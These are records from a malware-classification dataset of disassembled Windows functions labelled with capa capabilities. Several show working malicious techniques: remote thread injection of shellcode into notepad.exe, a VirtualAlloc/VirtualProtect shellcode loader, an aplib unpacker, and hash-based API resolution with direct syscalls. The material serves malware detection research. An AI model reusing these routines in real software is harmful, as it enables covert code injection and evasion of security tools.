joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005520]
mov dword [rax], 1
mov rax, qword [0x140005530]
mov dword [rax], 1
mov rax, qword [0x140005540]
mov dword [rax], 1
mov rax, qword [0x1400054e0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400016d0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x130], ecx
mov qword [rbp + 0x138], rdx
call sym.__main
cmp dword [rbp + 0x130], 1
jg 0x140001714
lea rax, str.Usage_:_main.exe__process_
mov rcx, rax
call sym.puts
mov eax, 0xffffffff
jmp 0x14000196c
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x100], 0
mov dword [rbp + 0xfc], 0
lea rax, str.C:Users_anonDocumentscodemaldevBasic_RMTImain.exe
mov qword [rbp + 0xf0], rax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x100], rax
cmp qword [rbp + 0x100], 0xffffffffffffffff
jne 0x140001786
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
jmp 0x14000196c
mov dword [rbp - 0x40], 0x130
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x100]
mov rcx, rax
call sym.Process32First
test eax, eax
sete al
test al, al
je 0x1400017ca
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
jmp 0x14000196c
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.notepad.exe
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001934
mov eax, dword [rbp - 0x38]
lea rdx, [rbp - 0x40]
add rdx, 0x2c
mov r8, rdx
mov edx, eax
lea rax, str.Process_:__lu__Name:__s_n
mov rcx, rax
call sym.printf
mov eax, dword [rbp - 0x38]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
jne 0x14000184c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_in_opening_the_process:__lu_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x118]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1f8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x110], rax
cmp qword [rbp + 0x110], 0
jne 0x1400018a3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Error_in_allocating_memory_with_VirtualAllocEx_n
mov rcx, rax
call sym.printf
mov rdx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x118]
mov qword [rsp + 0x20], 0
mov r9d, 0x1f8
lea r8, [0x140004020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x110]
mov rax, qword [rbp + 0x118]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x100]
mov rcx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
jne 0x1400017ca
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x1a0
pop rbp
ret
Function at 0x140001cb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002982
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x140002a1a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x1400029fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400029f2
cmp qword [rbp - 0x10], 0
je 0x1400029f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400029b8
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002a1b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002b20
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002b48
mov eax, 0
jmp 0x140002b96
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002b71
mov eax, 0
jmp 0x140002b96
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002b91
mov eax, 0
jmp 0x140002b96
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002b9c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002c1a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002c11
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002c11
mov rax, qword [rbp - 8]
jmp 0x140002c2f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002be4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400014e0
Capabilities:
Get common file path
Set file attributes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x600]
sub rsp, 0x700
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
mov rdi, rcx
call qword [sym.imp.mfc140u.dll_CMFCColorButton::OnFillBackground]
lea rdx, str.ROG_Open_File
mov rcx, rdi
call qword [sym.imp.mfc140u.dll_CMFCToolBar::SetOrigButtons]
mov r9, qword [rdi + 0x130]
mov edx, 0x80
mov rcx, qword [rdi + 0x40]
lea r8d, [rdx - 0x7f]
call qword [sym.imp.USER32.dll_SendMessageW]
mov r9, qword [rdi + 0x130]
xor r8d, r8d
mov rcx, qword [rdi + 0x40]
mov edx, 0x80
call qword [sym.imp.USER32.dll_SendMessageW]
mov rax, qword [rdi]
xor edx, edx
mov rcx, rdi
call qword [rax + 0xf0]
movzx ebx, word [0x140003a24]
lea rcx, [rbp + 0x1d2]
xor edx, edx
mov word [rbp + 0x1d0], bx
mov r8d, 0x206
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov word [rbp + 0x3e0], bx
mov r8d, 0x206
lea rcx, [rbp + 0x3e2]
call sub.VCRUNTIME140.dll_memset
mov r9d, 1
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
lea r8d, [r9 + 0x16]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x98
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x1d0]
mov dword [rsp + 0x20], 0x98
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov rax, qword [rdi + 0x138]
test rax, rax
jne 0x1400015f6
mov qword [rsp + 0x28], rcx
jmp 0x1400015ff
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004240]
mov word [rbp + 0x1d0], cx
mov qword [rsp + 0x38], rax
xor edx, edx
lea rax, [rbp + 0x3e0]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x70], rax
mov r8d, 0x206
movzx eax, word [0x140003a24]
mov dword [rsp + 0x68], ecx
lea rcx, [rbp - 0x3e]
mov word [rbp - 0x40], ax
mov dword [rsp + 0x58], 0x208
mov dword [rsp + 0x4c], 1
mov dword [rbp - 0x80], 0x1800
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp - 0x40]
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x40]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rcx, [rbp - 0x40]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea rdx, str.Link.ini
lea rcx, [rbp - 0x40]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
mov edx, 0x80
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov r8, qword [rsp + 0x50]
lea r9, [rbp - 0x40]
lea rdx, str.Path
lea rcx, str.Main
cmp eax, 1
je 0x1400016d3
lea r8, [0x140003a24]
call qword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov edx, 2
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
mov eax, 1
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.140001f20
lea r11, [rsp + 0x700]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140002a40
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x140015020]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], r14
mov word [rsp + 0x30], r14w
xor r8d, r8d
xor edx, edx
lea rcx, str.DOTNET_RUNTIME_ID
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov edi, eax
test eax, eax
je 0x140002ad9
mov eax, 2
mul rdi
mov rbx, 0xffffffffffffffff
cmovo rax, rbx
mov rcx, rax
call fcn.14000971c
mov rbp, rax
mov r8d, edi
mov rdx, rax
lea rcx, str.DOTNET_RUNTIME_ID
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x140002b80
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xcb
je 0x140002b08
test eax, eax
jle 0x140002af2
movzx eax, ax
or eax, 0x80070000
mov r8d, eax
lea rdx, str.DOTNET_RUNTIME_ID
lea rcx, str.Failed_to_read_environment_variable___s___HRESULT:_0x_X
call fcn.140001f20
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r14
mov r8d, 7
lea rdx, str.win_x64
mov rcx, rsi
call fcn.1400037c0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140002bea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400096a0
jmp 0x140002bea
inc rbx
cmp word [rbp + rbx*2], 0
jne 0x140002b80
mov rax, qword [rsp + 0x48]
cmp rbx, rax
ja 0x140002bc1
lea rdi, [rsp + 0x30]
cmp rax, 8
cmovae rdi, qword [rsp + 0x30]
mov qword [rsp + 0x40], rbx
add rbx, rbx
mov r8, rbx
mov rdx, rbp
mov rcx, rdi
call fcn.14000d9e0
mov word [rbx + rdi], r14w
jmp 0x140002bd1
mov r9, rbp
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140003920
mov rcx, rbp
call fcn.1400096a0
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x10], xmm1
mov rax, rsi
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140009680
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x14000a154
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a19e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a19e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a19e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a19e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a19e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000a1a0
xor al, al
add rsp, 0x28
ret

Function at 0x14000e1a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000e1c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000e1c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1406f5058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406f51df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406f5089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406f506f
add dl, dl
jne 0x1406f5096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406f50f6
xor eax, eax
add dl, dl
jne 0x1406f50a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406f51ad
add dl, dl
jne 0x1406f50b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f50c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f50d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f50dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406f50ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406f507e
mov eax, 1
add dl, dl
jne 0x1406f5106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f5113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406f50fb
sub eax, ebx
mov ebx, 1
jne 0x1406f514c
mov ecx, 1
add dl, dl
jne 0x1406f512e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406f513b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406f5123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406f507e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406f5168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406f5175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406f515d
cmp eax, 0x7d00
jae 0x1406f519b
cmp eax, 0x500
jb 0x1406f5196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406f507e
cmp eax, 0x7f
ja 0x1406f519e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406f507e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406f51d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406f507e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001450
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call fcn.1400015f0
mov eax, dword [section..data]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
mov eax, dword [section..data]
mov edx, eax
mov rax, qword [rbp - 8]
mov r8, rdx
lea rdx, [0x140007040]
mov rcx, rax
call sub.msvcrt.dll_memmove
mov dword [rbp - 0x1c], 0
mov eax, dword [section..data]
mov ecx, eax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp - 8]
mov r9, rdx
mov r8d, 0x20
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
je 0x140001526
mov rax, qword [rbp - 8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140001800
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002640
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002640
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001870
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007194]
mov rbx, rcx
test esi, esi
jle 0x1400019a0
mov rax, qword [0x140007198]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001945
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018a0
mov rcx, rbx
call fcn.1400022e0
mov rdi, rax
test rax, rax
je 0x1400019c2
mov rax, qword [0x140007198]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002420
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007198]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000193e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001950
add dword [0x140007194], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007198]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000193e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001800
nop dword [rax]
xor esi, esi
jmp 0x1400018c8
mov rax, qword [0x140007198]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001800
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001800
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400071e0]
test rbx, rbx
je 0x140001fac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001fa3
test eax, eax
jne 0x140001fa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004360]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002300
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002308
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002300
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000235d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002300
add rax, 0x28
cmp rax, r9
jne 0x140002340
xor eax, eax
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004360]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002388
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000237f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004360]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002448
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140131000
Capabilities:
Execute syscall
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140131395
jmp 0x1401311aa
cmp edx, 0x15948469
je 0x1401313cd
inc r8d
jmp 0x140131252

Function at 0x1401328d8
Capabilities:
Hash data using fnv

Disassembly:
cmp al, 0x49
cmp ebx, edi
movabs r11, 0x658177000000e1e9
lea r9d, [rdx + 0xba2c]
ror dword [rbp - 0x79], 0xc8
and eax, dword [rax]
add byte [rax], al
add byte [rbx], dh
ror byte [rax - 0x73], cl
and al, 0x4b
inc rsi
pushf
jmp 0x140131d76
add byte [rax], al
syscall
lea esi, [rdi + 0xddcf]
xor ecx, 0xb41d6e86
jmp rax
add ebp, 0xb4983e06
inc dword [rcx - 0x47]
add al, 0
add byte [rax], al
xchg r12, rdi
lea r8, [rbp + 0x150]
mov eax, dword [r13 + 0x54]
lea rdx, [rbp + 0x158]
jno 0x1401322cc
add r10d, 0x44e000b7
and edx, 0x5492471a
call rax
div r10
ror edx, 0x78
call rcx
je 0x140133176
retf 0xff78
jne 0x140133176
mul rbp
jmp rcx
jmp 0x1401331ce